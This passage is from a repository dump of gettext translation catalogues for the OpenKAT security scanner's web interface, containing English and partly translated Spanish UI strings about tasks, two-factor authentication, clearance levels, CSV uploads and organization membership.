rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \"\"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"\"\n\n#~ msgid \"This name we will use to communicate with you.\"\n#~ msgstr \"This name we will use t' talk to ye.\"\n\n#~ msgid \"What do we call you?\"\n#~ msgstr \"Whats yur name Capt'n?\"\n\n#~ msgid \"Choose your super secret password\"\n#~ msgstr \"What would be ye super secret password?\"\n"
  },
  {
    "path": "rocky/rocky/locale/es/LC_MESSAGES/django.po",
    "content": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# andrea-finalist <andrea.flores@finalist.nl>, 2025.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: andrea-finalist <andrea.flores@finalist.nl>\\n\"\n\"Language-Team: Spanish <https://hosted.weblate.org/projects/openkat/nl-kat-\"\n\"coordination/es/>\\n\"\n\"Language: es\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"Permisos\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"Fechas importantes\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"Nombre\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"El nombre que sera utilizado para comunicarse.\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"Por favor especifique un nombre para el usuario\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"Correo electronico\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"Especifique un correo electronico.\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"Contraseña\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"Elija una contraseña segura\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"Elija otro correo electronico.\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- Por favor seleccione una de las opciones disponibles ---\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"Tipo de cuenta\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"Por favor seleccione un tipo de cuenta para proceder.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"Nivel de acceso permitido\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"Seleccione un nivel de acesso a este miembro.\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"\"\n\n#: 